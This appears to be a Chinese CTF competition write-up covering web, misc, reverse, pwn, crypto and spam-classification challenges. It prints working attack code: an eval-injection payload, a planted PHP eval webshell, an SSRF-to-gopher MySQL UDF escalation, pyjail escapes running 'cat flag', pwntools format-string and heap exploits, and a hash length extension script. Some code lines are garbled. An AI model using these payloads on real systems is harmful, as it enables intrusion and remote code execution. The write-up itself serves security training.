WEB
CALC
开始以为是一道SSTI的题目,后面fuzz发现能直接执行命令,后端应该是eval
unicode编码,绕字符过滤,bytes()函数绕过引号过滤,直接读flag
import requests
burp0_url = "http://47.97.127.1:29163/"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://47.97.127.1:29163", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://47.97.127.1:29163/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
burp0_data = {"calc": "????(?????((47,102,108,97,103)).??????()).????()"}
response = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(response.text)
也把源码读下来
import flask
from flask import Flask, request, session
import re
app = Flask(__name__)
def waf(s):
try:
blacklist='''abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ=+_ tn\[]'"@'''
for i in blacklist:
if i in s:
return 'error'
return s
except:
return 'error'
def index():
if request.method == 'GET':
return flask.render_template('index.html')
elif request.method == 'POST':
calc = waf(request.form.get("calc"))
if calc !='error':
calc = eval(calc)
return flask.render_template('index.html',calc=calc)
if __name__ == '__main__':
app.debug = False
app.run('0.0.0.0', 80)
RESET
使用githack工具获取.git文件夹下的内容。获取版本信息
0000000000000000000000000000000000000000 0701f62d1c7a5a43838cdc43e7843c83dabd477d test <test@test.com> 1667454367 +0000 commit (initial): t_v1
0701f62d1c7a5a43838cdc43e7843c83dabd477d c9a4a016a1bd720a68f810776280619984e87e99 test <test@test.com> 1667454458 +0000 commit: t_v2
c9a4a016a1bd720a68f810776280619984e87e99 c9a4a016a1bd720a68f810776280619984e87e99 Linux User <www-data@18e9413005bf.(none)> 1671275415 +0000 reset: moving to c9a4a016a1bd720a68f810776280619984e87e99
本地还原到c9a4a0版本,获取源码,发现隐藏upload.php文件。
本地修改index.php为,并重新提交commit。
php
@eval($_POST['shell']);
echo("hello");
获取objects文件夹下新index.php文件的blob文件,通过upload.php目录穿越上传文件覆盖原本的
.git/objects/5f/f1ef5c03448a1eb5571dd348cf717a7bad7402文件,即覆盖index.php文件的v1版本缓存。
通过reset.php将版本还原到
0701f62d1c7a5a43838cdc43e7843c83dabd477d
版本,通过index.php进行rce。
ssrf
题目给了源码,结合题目名字,可以确定是SSRF,不过需要绕过过滤,题目中对302跳转进行了处理,所以采取302跳转来绕过滤
在vps上放置ssrf.php,内容写一个跳转
php
header("location: http://127.0.0.1:80")
在源码中注意到,数据库连接没有密码,所以可以确定是ssrf打mysql
信息收集之后,数据库里没有flag,打udf提权,反弹shell
udf提权参考 [手把手带你用 SSRF 打穿内网 | 国光 (sqlsec.com)]
(https://www.sqlsec.com/2021/05/ssrf.html#SSRF-之-MySQL-提权)
<?php
header("location: gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%39%00%00%00%03%43%52%45%41%54%45%20%46%55%4e%43%54%49%4f%4e%20%73%79%73%5f%65%76%61%6c%20%52%45%54%55%52%4e%53%20%53%54%52%49%4e%47%20%53%4f%4e%41%4d%45%20%27%75%64%66%2e%73%6f%27%3b%01%00%00%00%01");
// 利用 gopherus生成mysql语句,每次换一下location的值即可
?>
misc
坐井观天
一个pyjail,过滤了 ‘ ” = [] __等
直接用chr()来绕过,eval(input())这样也能绕
python
eval(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(39)+chr(111)+chr(115)+chr(39)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(39)+chr(99)+chr(97)+chr(116)+chr(32)+chr(102)+chr(108)+chr(97)+chr(103)+chr(39)+chr(41))
把源码也弄出来
python
#!/usr/bin/env python3
import string
def main():
whiteList = string.ascii_letters + string.digits + ",!?;`#+-/$@&|~^<>(){}"
blackList = vars(__builtins__).copy()
for key in (
"getattr", "exec", "open", "__builtins__", "__build_class__", "__loader__", "__spec__"
):blackList[key] = None
pwnhub = '''
/$$$$$$$ /$$ /$$ /$$ /$$ /$$ /$$ /$$ /$$ /$$$$$$$
| $$__ $$| $$ /$ | $$| $$$ | $$| $$ | $$| $$ | $$| $$__ $$
| $$ $$| $$ /$$$| $$| $$$$| $$| $$ | $$| $$ | $$| $$ $$
| $$$$$$$/| $$/$$ $$ $$| $$ $$ $$| $$$$$$$$| $$ | $$| $$$$$$$
| $$____/ | $$$$_ $$$$| $$ $$$$| $$__ $$| $$ | $$| $$__ $$
| $$ | $$$/ $$$| $$ $$$| $$ | $$| $$ | $$| $$ $$
| $$ | $$/ $$| $$ $$| $$ | $$| $$$$$$/| $$$$$$$/
|__/ |__/ __/|__/ __/|__/ |__/ ______/ |_______/
'''
print(pwnhub)
print("Hi, Guys! Welcome to pyjail!")
print("Are you looking for the flag?")
print("No words, Show me your Payload:)")
while True:
line = input("$ ")
if not line:
continue
if any(keyword not in whiteList for keyword in line):
print("Oh, You are hacker:(")
continue
try:
print(eval(line, blackList))
except Exception as e:
print(e)
if __name__ == "__main__":
main()
空投之王
吹爆弘联
用airdrop觅影来分析就行了
text
[手机]:
2022-12-14T07:12:36.062Z, 8615545466531
(58299...e18e4)
2022-12-14T07:12:36.122Z, 8615545466531
(58299...e18e4)
2022-12-14T07:12:55.114Z,(58299...893d4)
2022-12-14T07:13:03.484Z, 8618800009527
(11cbd...893d4)
2022-12-14T07:49:27.622Z, 8618629517089
(fade7...e461b)
2022-12-14T14:08:09.269Z,(58299...893d4)
2022-12-14T14:08:09.312Z,(58299...893d4)
2022-12-14T14:08:13.148Z,(58299...893d4)
2022-12-14T14:08:59.066Z, 8615545466531
(58299...e18e4)
2022-12-14T14:08:59.088Z, 8615545466531
(58299...e18e4)
2022-12-14T14:09:01.878Z, 8615545466531
(58299...e18e4)
2022-12-14T14:09:23.239Z,(11cbd...e18e4)
2022-12-14T14:16:06.057Z, 8615545466531
(58299...e18e4)
2022-12-14T14:16:12.643Z, 8618800009527
(11cbd...893d4)
2022-12-14T14:16:21.546Z, 8618800009527
(11cbd...893d4)
2022-12-14T14:33:52.073Z, 8618800009527
(11cbd...893d4)
2022-12-14T14:37:26.990Z, 8618800009527
(11cbd...893d4)
2022-12-14T14:37:53.330Z,(58299...893d4)
[文件]:
2022-12-15T04:22:48.706Z,IMG_8147.jpg
2022-12-15T04:23:04.883Z,IMG_8147.jpg
flag{18800009527}
证书里也有秘密
xray 的证书解析,搜了一下发现过去有大佬写过工具,不过时间改到2020年就可以用了:
飞驰人生
相关文章:https://www.ctfiot.com/27001.html
恶意流量主要集中在车门 油门 转向灯等相关配置
可以先去筛一遍数据,然后借助工具(比如ICS),慢慢试错吧
重点是第292984行往后的数据
REVERSE
3.00pm
swift 写的 xxtea,就是代码用 IDA 看着过于痛苦了
c
void btea(uint32_t * v, int n, uint32_t const key[4])
{
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1) /* Coding Part */
{
rounds = 6 + 52 / n;
sum = 0;
z = v[n - 1];
do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < n - 1; p++)
{
y = v[p + 1];
z = v[p] += MX;
}
y = v[0];
z = v[n - 1] += MX;
} while (--rounds);
}
else if (n < -1) /* Decoding Part */
{
n = -n;
rounds = 6 + 52 / n;
sum = rounds * DELTA;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p = n - 1; p > 0; p--)
{
z = v[p - 1];
y = v[p] -= MX;
}
z = v[n - 1];
y = v[0] -= MX;
sum -= DELTA;
} while (--rounds);
}
}
int main()
{
for (int i = 1;; i++)
{
uint32_t key[4] = { 's','e','a','l' };
unsigned int v2[42];
*v2 = 0xC1C33C8;
v2[1] = 0xC8AE4E2E;
v2[2] = 0x4F5B4B82;
v2[3] = 0x689738AD;
v2[4] = 0x344247A4;
v2[5] = 0xFCDB7A5E;
v2[6] = 0xA97CCB8A;
v2[7] = 0xD32040D7;
v2[8] = 0xC654F473;
v2[9] = 0xFFB9A276;
v2[10] = 2135542374;
v2[11] = 742178661;
v2[12] = 1948605882;
v2[13] = -162723804;
v2[14] = 340114920;
v2[15] = -119940220;
v2[16] = -1433261104;
v2[17] = 1682588100;
v2[18] = 868361190;
v2[19] = 790287045;
v2[20] = 665064676;
v2[21] = -1613618420;
v2[22] = -845098757;
v2[23] = -928990080;
v2[24] = -1294308575;
v2[25] = -847630224;
v2[26] = 865026984;
v2[27] = 528227606;
v2[28] = 1125283773;
v2[29] = -1191493257;
v2[30] = -2068857711;
v2[31] = 173105941;
v2[32] = -728565832;
v2[33] = -1320222442;
v2[34] = -1357083856;
v2[35] = -241099087;
v2[36] = 632837878;
v2[37] = -1673494940;
v2[38] = -1340271114;
v2[39] = 1877424045;
v2[40] = -572519049;
v2[41] = 0x4D619298;
uint32_t* temp = v2;
for (int i = 0;; i++)
{
btea(temp, -2, key);
printf("%c%c", temp[0], temp[1]);
temp += 2;
}
}
}
pwn
JUSTJS
shell
print(read('flag'))
探险者
shopping 里有个整数溢出,并且发现有后门,如果打大 boss 的时候打了20回合都没结束就能拿shell,因此直接用整数溢出买防御力买满,然后直接打就可以了。
用 -286331153 作为数量,乘了价格之后变得很小,但乘了防御力却会很大,因此可以直接拉满防御力,这样每次都只打一滴血:
rwx
python
#!/usr/bin/python3
# -*- coding:utf-8 -*-
from pwn import *
import os, struct, random, time, sys, signal
class Shell():
def __init__(self):
self.clear(arch='amd64', os='linux', log_level='debug')
# self.pipe = process(['./main.py'])
self.pipe = remote('47.97.127.1', 22495)
def send(self, data:bytes, **params): return self.pipe.send(data, **params)
def sendline(self, data:bytes, **params): return self.pipe.sendline(data, **params)
def recv(self, **params): return self.pipe.recv(**params)
def close(self, **params): return self.pipe.close(**params)
def recvrepeat(self, timeout, **params): return self.pipe.recvrepeat(timeout, **params)
def interactive(self, **params): return self.pipe.interactive(**params)
def clear(self, **params): return context.clear(**params)
def recvn(self, numb, **params):
result = self.pipe.recvn(numb, **params)
if(len(result) != numb):
raise EOFError('recvn')
return result
def recvuntil(self, delims, **params):
result = self.pipe.recvuntil(delims, drop=False, **params)
if(not result.endswith(delims)):
raise EOFError('recvuntil')
return result[:-len(delims)]
def sendafter(self, delim, data, **params):
self.recvuntil(delim, **params)
self.send(data, **params)
def sendlineafter(self, delim, data, **params):
self.recvuntil(delim, **params)
self.sendline(data, **params)
sh = Shell()
sh.sendlineafter(b'And, what do you want to go? ', b'vulnhub')
sh.sendlineafter(b'string format vuln testing: ', b'%379$#llx#%391$#llx#')
stack_addr = int(sh.recvuntil(b'#'), 16)
libc_addr = int(sh.recvuntil(b'#'), 16) - 0x21c87
success('stack_addr: ' + hex(stack_addr))
success('libc_addr: ' + hex(libc_addr))
if(((stack_addr - 0x128) & 0xffff) > 0x2000):
raise EOFError
sh.sendlineafter(b'string format vuln testing: ', f'%{(stack_addr - 0xe0) & 0xffff}c%379$hn'.encode())
one_gadget = libc_addr + 0x4f302
byte = (one_gadget 0) & 0xff
sh.sendlineafter(b'string format vuln testing: ', f'%{byte}c%419$hhn'.encode())
sh.sendlineafter(b'string format vuln testing: ', f'%{(stack_addr - 0xe0 + 1) & 0xff}c%379$hhn'.encode())
byte = (one_gadget 8) & 0xff
sh.sendlineafter(b'string format vuln testing: ', f'%{byte}c%419$hhn'.encode())
sh.sendlineafter(b'string format vuln testing: ', f'%{(stack_addr - 0xe0 + 2) & 0xff}c%379$hhn'.encode())
byte = (one_gadget 16) & 0xff
sh.sendlineafter(b'string format vuln testing: ', f'%{byte}c%419$hhn'.encode())
sh.sendlineafter(b'string format vuln testing: ', b'Exit')
sh.interactive()
heap
c++
printf("Which one?n> ");
id = read_int();
if ( n < 3 ){
printf("Size: ");
size = read_int();
ptr[id] = n == 1 ? malloc(size) : ptr[id];
printf("Content: ");
read(0, ptr[id], size);
} else {
n == 3 ? free(ptr[id]) : puts(ptr[id]);
}
The id can be out-of-boundary.
python
#!/usr/bin/python3
# -*- coding:utf-8 -*-
from pwn import *
import os, struct, random, time, sys, signal
class Shell():
def __init__(self):
self.clear(arch='amd64', os='linux', log_level='debug')
# self.pipe = process(['./pwn'])
self.pipe = remote('47.97.127.1', 28353)
def send(self, data:bytes, **params): return self.pipe.send(data, **params)
def sendline(self, data:bytes, **params): return self.pipe.sendline(data, **params)
def recv(self, **params): return self.pipe.recv(**params)
def close(self, **params): return self.pipe.close(**params)
def recvrepeat(self, timeout, **params): return self.pipe.recvrepeat(timeout, **params)
def interactive(self, **params): return self.pipe.interactive(**params)
def clear(self, **params): return context.clear(**params)
def recvn(self, numb, **params):
result = self.pipe.recvn(numb, **params)
if(len(result) != numb):
raise EOFError('recvn')
return result
def recvuntil(self, delims, **params):
result = self.pipe.recvuntil(delims, drop=False, **params)
if(not result.endswith(delims)):
raise EOFError('recvuntil')
return result[:-len(delims)]
def sendafter(self, delim, data, **params):
self.recvuntil(delim, **params)
self.send(data, **params)
def sendlineafter(self, delim, data, **params):
self.recvuntil(delim, **params)
self.sendline(data, **params)
def add(self, index, size, content):
self.sendlineafter(b'> ', b'1')
self.sendlineafter(b'> ', str(index).encode())
self.sendlineafter(b'Size: ', str(size).encode())
self.sendafter(b'Content: ', content)
def edit(self, index, size, content):
self.sendlineafter(b'> ', b'2')
self.sendlineafter(b'> ', str(index).encode())
self.sendlineafter(b'Size: ', str(size).encode())
self.sendafter(b'Content: ', content)
def delete(self, index):
self.sendlineafter(b'> ', b'3')
self.sendlineafter(b'> ', str(index).encode())
def show(self, index):
self.sendlineafter(b'> ', b'4')
self.sendlineafter(b'> ', str(index).encode())
sh = Shell()
sh.add(0, 0x80, b'aa')
sh.edit(16, 0x10, b'a' * 0x10)
sh.show(16)
sh.recvuntil(b'a' * 0x10)
image_addr = u64(sh.recvn(6) + b' ') - 0x40c0
success('image_addr: ' + hex(image_addr))
sh.edit(0, 8, p64(image_addr+0x3fe0))
sh.show(0x390)
libc_addr = u64(sh.recvn(6) + b' ') - 0x17620
success('libc_addr: ' + hex(libc_addr))
sh.edit(0, 8, p64(libc_addr+0x9ade0))
sh.show(0x390)
stack_addr = u64(sh.recvn(6) + b' ')
success('stack_addr: ' + hex(stack_addr))
sh.edit(0, 8, p64(stack_addr-0x90))
sh.edit(0x390, 0x100, flat([libc_addr + 0x1551f, libc_addr + 0x95941, libc_addr + 0x43c7c]))
sh.interactive()
Crypto
ASR
1. gcd得到S
2. 将S当作n,rsa解密得到flag
python
import gmpy2
import libnum
RSA1 = 0x97be543979cb98c109103fa118c1c930ff13a6b2562166417021afd6e46cb0837a5cc5f4094fcea5fcc33efdfa495050e0fb8269922b3ee2d403210ed1ba339af2dc3d4e8952f0c784fcc655436cf255b98cdaf8080df47f6c28bc0bae68c713
c = 0x2f62fb7e7e8e27823193119f8412050ade9084ade25261a5875da23a07d5d5145e72d460697984d8aa668a25822009a4fdc85df2b208941cd3219b312f21c3c7bc4ef7aa8c18b4f91a0e815fe1892fca0f72406e571fbd0fea2c4710c601165ccd7e8a5a828721a5e2c956b732223d683d1413ef393b5f80a431c52bf9099e22b8e27daafb9d3e055242b89b5419b8925744ccf348e1bea519225af8efe7dbcc202425251039cbfe6b892a7fcf7e9d72224ea9381e3fb32ab837139af4b4112a3c7a6571c88e7d6c5db4c3f91e25edd15eb5544ef2f29a9e1bb1062ec86f1902
N = 0x58a7ff25292651e1a8d82656d64fe3b458d6e688405e85aa6c02e0c33469ad3dbaef6c6eaf8faf22f2d15e80856ab7b90a40fd50c36f7b59932bc94e6fb4fabefa87b11bf4ef74df4ccf8d254f0c6812628df3c5b3786af35e3dde9c87b462d1a565af6f100750718ccb7235174947f00cec5836765150f1680d0c58a5f9ea2473a6033c218c75664dc53377dde9386f37e1a89d77e61a716129d290c5a41f81cd3490bab6fe51f232ab27cb1ac9c8eb88e908c12109a125b7439c25b6879283a17a3467823fbb089709eb836cfd03386cc4bf186eb45401472ab0bdec605fd7
e = 65537
S = int(gmpy2.gcd(RSA1, N))
phi = S-1
d = int(gmpy2.invert(e, phi))
m = int(pow(c,d,S))
print(libnum.n2s(m))
# flag{b66f68258f184bd7afddd32c1518eed0}
大杂烩
1. 解方程求b,恢复出e
2. 构造格求出d1、d2,恢复出d
3. 已知e、d分解n,得到p、q
4. 由p、q恢复出flag
python
# Sage
import gmpy2, libnum
import random
a = 1755716071599
N = 236038564943567983056828121309828109017
996,151729833458737979764886336489671975339 =
PolynomialRing(Zmod(N)) =
# y^2 = x^3 + a*x + b
f = x^3+a*x+b-y^2
b = int(f.roots()[0][0])
e = (b<<42)+a
enc1 = 98662590652068949920571979585725979127266112216583776160769090971169664292493813021843624362593669574513220457664819153878956311077379392531742253343961645534972639309537402874636739745717765969720117162780620981639015788423324884640935466801234207019510919768602974162878323777374364290185048275714332671356
enc2 = 58738699705013897273174837829098879580829898980458718341881900446701910685043213698485036350888862454440118347362218485065377354137391792039111639199258042591959084091242821874819864955504791788260187064338245516327147327866373690756260239728218244294166383516151782123688633986853602732137707507845681977204
NN = 149794788177729409820185150543033616327574456754306207341321223589733698623477041345453230785413920341465642754285280273761269552897080096162195035057667200692677841848045965505750839903359478511509753781737513122660495056746669041957643882516287304836822410136985711091802722010788615177574143908444311475347
d1 = matrix(ZZ,[[1, enc1], [0, NN]]).LLL()[0]
d2 = matrix(ZZ,[[1, enc2], [0, NN]]).LLL()[0]
d1 = abs(d1)
d2 = abs(d2)
d2 = int(str(bin(d2)[2:]).zfill(512), 2)
d = (d1<<512)+d2
n = 117749279680045360245987277946945707343578937283621512842997606104123872211782263906911929773756533011817679794905642225389185861207256322349591633257348367854563703050789889773031032949742664695416275919382068347995088593380486820784360816053546651916291080971628354468517506190756456913824397593128781030749
def divide_pq(e, d, n):
k = e*d - 1
while True:
g = random.randint(2, n-1)
t = k
while True:
if t % 2 != 0:
break
t //= 2
x = pow(g, t, n)
if x > 1 and gmpy2.gcd(int(x-1), int(n)) > 1:
p = gmpy2.gcd(int(x-1), int(n))
return (p, n//p)
q = divide_pq(e, d, n)
if p>q:
q,p =
list1 = []
num =1
while True:
flag1 = int(p >> (512 - num))
if b'flag{' in libnum.n2s(flag1):
try:
list1.append(libnum.n2s(flag1).decode())
except:
break
num += 1
flag2 = int(q>>(512-150))
print(list1[-1]+libnum.n2s(flag2).decode())
# flag{e89f47939d12434cb201080d8b240774}
payorder
哈希长度拓展攻击
python
from pwn import *
from hashpumpy import hashpump # https://github.com/bwall/HashPump
import base64
sh = remote('47.97.127.1', 25839) # nc 47.97.127.1 25839
sh.recvuntil(b'> ')
sh.sendline(b'2')
sh.recvuntil(b'Which one? ')
sh.sendline(b'1')
sh.recvuntil(b'Order: ')
Order = sh.recvline()
Order = base64.b64decode(Order)
# hashpump(hexdigest, original_data, data_to_add, key_length) -> (digest, message)
hexdigest = Order[-64:].decode()
original_data = Order[:-67].decode()
data_to_add = '&p=flag'
for len_sk in range(10, 21):
sh.sendline(b'3')
sh.recvuntil(b'Order: ')
key_length = len_sk + 3 # k={sk}&
new_hash, new = hashpump(hexdigest, original_data, data_to_add, key_length)
Order = new+b'&s='+new_hash.encode()
Order = base64.b64encode(Order)
sh.sendline(Order)
tmp = sh.recvline()
if b'Your current coins: 990' in tmp:
print(sh.recvline())
print(sh.recvline())
# flag{a1dc2134088618c456457dc01e51280e}
break
else:
sh.recvuntil(b'> ')
other
垃圾邮件分析
先过工作量证明,然后肉眼分析,得解
python
import hashlib
from string import ascii_letters, digits
from itertools import product
table = ascii_letters + digits
Xnum =4
tail = "tFSZMu4V3cPeYvj14QiMPFpUqLb6"
_hash = "cfa54fcb299c25df405223d0ec0eabeb73f91a4229e3b52b99a6ef7aac567882"
for i in product(table, repeat=Xnum):
head = ''.join(i)
# print(head)
t = hashlib.sha256((tail + head).encode()).hexdigest()
if t == _hash:
print('爆破成功!结果是:', end='')
print(head)
交互
(base) 0HB@Caliburn ~ % nc 47.97.127.1 26120
sha256(tFSZMu4V3cPeYvj14QiMPFpUqLb6 + xxxx) = cfa54fcb299c25df405223d0ec0eabeb73f91a4229e3b52b99a6ef7aac567882
xxxx = KiYX
### #### #### ###### ####### ######
## ## ## ## # ## # ## # ## ##
# ## ## ## ## # ## ##
#### ## ## ## #### #####
## ## ## # ## ## # ## ##
## ## ## ## ## ## # ## ##
#### #### ####### #### ####### #### ##
1. In this challenge, you are required to classify a
bunch of e-mail texts into ham/spam categories
2. You will recive 50 samples as the training data
3. And I will give you 10 samples to validate your
trained model
4. Solve them to win the flag!
Press ENTER to continue...
################################################################################
Training data 1/50: SPAM
--------------------------------------------------------------------------------
b"Subject: bait - excelled @ em . ca when can you startrn+ unable to see graphics ? please go here to view this email . +rnhirnbait - excelled @ em . ca ,rnyour name was given to us as someone who might be interested in gettingrnout of the rat race . are you really ?rnif so , keep reading ! being in charge of yourself and your life is the onlyrnway to go .rnthere are literally thousands of us who are making a good living at homernon the internet , and there ' s no reason why you can ' t be one of us . and i ' mrntalking about a legitimate business you can be proud of .rnjust visit our site when you have a minute ,rnand you ' ll know right away if this is what you ' ve been searching for .rnlooking forward to helping you get out of the rat race !rntake care !rnif you would prefer not to receive email advertisements from this advertiser in the future , visit us here .rn+ + + + +rnthe preceding advertisement was sent from sweepsatstake . com .rnif you would like to stop receiving advertisements from sweepsatstake . com in the future , pleasern+ + + + +rn"
Press ENTER to continue...
################################################################################
Training data 2/50: SPAM
--------------------------------------------------------------------------------
b'Subject: re : 63 % - off \ / iagra , cialis , ambien , soma and other drugs hamster disputingrncentroid terminates benzedrine boggled zebrarnvenn disengaging inferiors burdensome tortoisernconfusing congenial ires namedrnbeater absorbing boundlessnessrnbetterments popsicles david stud enlargesrnleaflets delphinus pickering participle'
Press ENTER to continue...
......
Press ENTER to continue...
################################################################################
Testing data 1/10
--------------------------------------------------------------------------------
b"Subject: uk submission of positionsrnjust to follow up on james ' s note of yesterday - my apologies for being outrnthe elimination of the requirement to ' grab ' the fx and ir market environmentrnfrom houston ( and consequently use european data ) can improve our abilityrnto kick the overnight batch processing off earlier in the evening . james andrni will be working with brian hudson to determine the timetable for effectingrnthis changernthe revised batch start time would improve the opportunity to detect anyrnsystem failure and complete a rerun of the valuation process so as to deliverrncompleted results by the time the risk management team arrive at their desksrnin the morning . system failures are the most significant problem we face inrndelivering timely information to houston . consequently the probability ofrnmeeting current reporting deadlines would be greatly improved given that wernwill have full it overnight support covering for any it failure and curverninput validation processes on trade date .rnindeed given the successful completion of all overnight runs we are able torndeliverrnofficialisation of all valuation systems and most spreadsheets ( david hardyrnis in final testing of the eastern spreadsheet feed ) by the 10 am deadline (rnhouston 4 am )rnflash p & l by the lpm deadline ( houston 7 am )rncompletion of the final dpr to be submitted to houston by the 5 pm deadline (rnhouston 11 am )rnjames and i are currently finalising a document reviewing all possiblernchanges to business processes that could improve these times . this is inrnaddition to working with commercial and it to assess the possibility ofrndelivering significantly faster revaluation systems that could assist inrndelivering a trade date control process .rni can confirm that there is significant work to do in this area , however , wernare dedicated to meeting the objectives of improved / more real time control .rnplease feel free to call if the above requires any additional commentary .rnregardsrnmikern- - - - - - - - - - - - - - - - - - - - - - forwarded by mike jordan / lon / ect on 19 / 12 / 2000 15 : 06rn- - - - - - - - - - - - - - - - - - - - - - - - - - -rnjames newrn18 / 12 / 2000 09 : 10rnto : rick buy / hou / ect @ ectrncc : john sherriff / lon / ect @ ect , michael r brown / lon / ect @ ect , fernleyrndyson / lon / ect @ ect , mike jordan / lon / ect @ ect , ted murphy / hou / ect @ ect , garyrnhickerson / hou / ect @ ectrnsubject : uk submission of positionsrnrick ,rnthanks you for your note below . we are today implementing a flash p & lrnprocess . we aim to report daily numbers at 7 am houston time and will startrntoday with the p & l . we will build on this and hope to have draft positionsrnand var for most books within a week or so . there will be a reconciliation ofrnflash to final numbers which will be included in our return to houston .rni will put together a note on the london dpr production process which goesrninto the process we currently have , the process we actually need to have , andrnthe obstacles that are in the way . i would expect this to be finalisedrntomorrow . obtaining the usd interest rate curve on a more timely basis isrnjust one of our problems but it is unfortunately by no means our only or mostrnserious problem .rnjamesrnfrom : rick buyrn15 / 12 / 2000 21 : 59rnto : john sherriff / lon / ect @ ect , michael r brown / lon / ect @ ect , mikernjordan / lon / ect @ ectrncc : gary hickerson / hou / ect @ ect , ted murphy / hou / ect @ ectrnsubject : uk submission of positionsrnneed your help on the following : each day we are delayed in finalising var ,rnp & l and positions because the uk must wait for a usd interest rate curvesrnbefore submitting their data to houston . i am also told that it is really notrnnecessary to wait for this curve and the data could be submitted close ofrnbusiness london . even if there was some minor inaccuracy from this method itrnwould be better than what we have now . this would greatly improve thernefficiency ( by 4 to 6 hours ) in reporting to senior management . can you guysrninitiate this change or get me to the right person there . thanks , rick"
The category is (H for ham/S for spam):
H
################################################################################
Testing data 2/10
--------------------------------------------------------------------------------
b"Subject: fw : power generation : a regional analysis of supply and demandinrnthe us power marketrn- - - - - original message - - - - -rnfrom : stein , neil [ mailto : neil . stein @ csfb . com ]rnsent : wednesday , september 05 , 2001 6 : 49 pmrnto : undisclosed - recipientsrnsubject : fw : power generation : a regional analysis of supply andrndemandin the us power marketrn> >rn>rngood evening ,rn> attached , please find an abridged version of our 76 - page report in whichrn> we provide our supply and demand outlook for 12 regions across the us .rn>rn> summary :rn> 1 . the power markets are regional in nature the fragmented usrn> transmission system results in significant regional power pricing andrn> economic disparities . in order to fully understand this industry , macrorn> analyses of the us market must be supplemented with an in - depth assessmentrn> of its individual regions .rn> 2 . announced projects cannot be taken at face value out of the 285 , 487rn> mw of project announcements we have identified , only 26 % are actuallyrn> under construction . our base case analysis suggests that only 53 %rn> ( 149 , 944 mw ) of the announced projects will be completed .rn> 3 . shortages will persist in several key markets owing to a combinationrn> of current supply shortages , capacity retirements and demand growth , wern> estimate that the entire us will need 207 , 689 new mws by 2006 in order torn> achieve an equilibrium 18 % capacity margin . this requirement is 39 % abovern> our base case buildout forecast . consequently , we project a 2006 capacityrn> shortfall of 57 , 745 mw . our analysis indicates that supply shortages willrn> be most pronounced in the mid - atlantic , new york , parts of the midwest ,rn> and the southeast .rn> 4 . positive implications for generators our findings have positivern> implications for selected generators . we believe that calpine ( cpn ,rn> strong buy ) , entergy ( etr , buy ) , mirant ( mir , buy ) , nrg energy ( nrg , buy ) ,rn> ppl corp . ( ppl , buy ) , and reliant resources ( rri , buy ) are best positionedrn> within this market .rn>rn> regards ,rn>rn> neil stein 212 / 325 - 4217rnthis message is for the named person ' s use only . it may containrnconfidential , proprietary or legally privileged information . nornconfidentiality or privilege is waived or lost by any mistransmission .rnif you receive this message in error , please immediately delete it and allrncopies of it from your system , destroy any hard copies of it and notify thernsender . you must not , directly or indirectly , use , disclose , distribute ,rnprint , or copy any part of this message if you are not the intendedrnrecipient . credit suisse group and each of its subsidiaries each reservernthe right to monitor all e - mail communications through its networks . anyrnviews expressed in this message are those of the individual sender , exceptrnwhere the message states otherwise and the sender is authorised to staternthem to be the views of any such entity .rnunless otherwise stated , any pricing information given in this message isrnindicative only , is subject to change and does not constitute an offer torndeal at any price quoted .rnany reference to the terms of executed transactions should be treated asrnpreliminary only and subject to our formal written confirmation ."
The category is (H for ham/S for spam):
H
################################################################################
Testing data 3/10
--------------------------------------------------------------------------------
b"Subject: re : colarnfor who ? portland ?rnthere were none for big kids , but may have been 2 / 3 of the specilist / a & a ' s over there who got them for the last time . .rnonly other one i was aware of was laura luce in chicago which i think may have had something for state tax .rni ' ll check .rndavidrn- - - - - original message - - - - -rnfrom : kitchen , louisernsent : wednesday , march 21 , 2001 1 : 26 pmrnto : oxley , davidrnsubject : colarnwhat happened to all of the colas at the end of last year ?"
The category is (H for ham/S for spam):
H
################################################################################
Testing data 4/10
--------------------------------------------------------------------------------
b"Subject: re : mathworksrnmolly ,rnwe have a reasonably big room . 2 - 5 people is ok . it ' s ebl 938 .rnvincernmolly carnes @ enron communicationsrn09 / 28 / 2000 03 : 10 pmrnto : vince j kaminski / hou / ect @ ect @ enronrncc :rnsubject : re : mathworksrni ' ve got in on the calendar for the 18 th at 2 : 00 . what ' s the location ? howrnmany can we bring ? 2 or 3 ?rnthanks .rnmolly carnesrnforrnlouis casarirnvice president , mid office operationsrnenron broadband servicesrn713 - 853 - 4302 , room eb 4492rnlou _ casari @ enron . netrnvince j kaminski @ ectrn09 / 28 / 00 10 : 39 amrnto : lou casari / enron communications @ enron communications @ enronrncc : vince j kaminski / hou / ect @ ect , shirley crenshaw / hou / ect @ ect , lourncasari / enron communications @ enron communicationsrnsubject : re : mathworksrnmolly ,rni met lou in the building lobby last wednesday and he suggested that hern( or his representatives ) join the mathworks presentation to my group ) .rnit ' s a good software package for mathematical modeling ,rnbut there is a limit to the number of different installations any grouprncan productively use .rni shall take a look at some new features they offerrnand decide whether it ' 